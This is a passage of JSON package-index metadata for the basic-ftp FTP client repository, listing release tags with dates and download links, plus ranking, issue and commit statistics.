ub.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-20T17:32:36.234Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":6.8992178392067105,"dependent_packages_count":6.463040974364172,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":6.681129406785441},"purl":"pkg:golang/github.com/patrickjuchli/basic-ftp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/patrickjuchli/basic-ftp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/patrickjuchli/basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/patrickjuchli/basic-ftp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-20T09:37:25.880Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpatrickjuchli%2Fbasic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpatrickjuchli%2Fbasic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpatrickjuchli%2Fbasic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpatrickjuchli%2Fbasic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpatrickjuchli%2Fbasic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fpatrickjuchli%2Fbasic-ftp/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281895,"maintainers_count":0,"namespaces_count":839487,"keywords_count":124977,"github":"golang","metadata":{"funded_packages_count":67925,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-24T05:01:22.286Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}],"commits":{"id":11217,"full_name":"patrickjuchli/basic-ftp","default_branch":"master","total_commits":944,"total_committers":19,"total_bot_commits":4,"total_bot_committers":1,"mean_commits":49.68421052631579,"dds":0.025423728813559365,"past_year_total_commits":60,"past_year_total_committers":1,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":60.0,"past_year_dds":0.0,"last_synced_at":"2026-08-20T09:37:36.052Z","last_synced_commit":"9cbc5cf23cb2b62231bc1822a868138e4772d4e5","created_at":"2023-03-07T11:16:45.112Z","updated_at":"2026-08-20T09:37:35.709Z","committers":[{"name":"Patrick Juchli","email":"patrickjuchli@gmail.com","login":"patrickjuchli","count":920},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":4},{"name":"Conlan Craft","email":"conlan@storybrand.com","login":null,"count":2},{"name":"AnsonYeung","email":"s151204@tanghin.edu.hk","login":"AnsonYeung","count":2},{"name":"Carlos 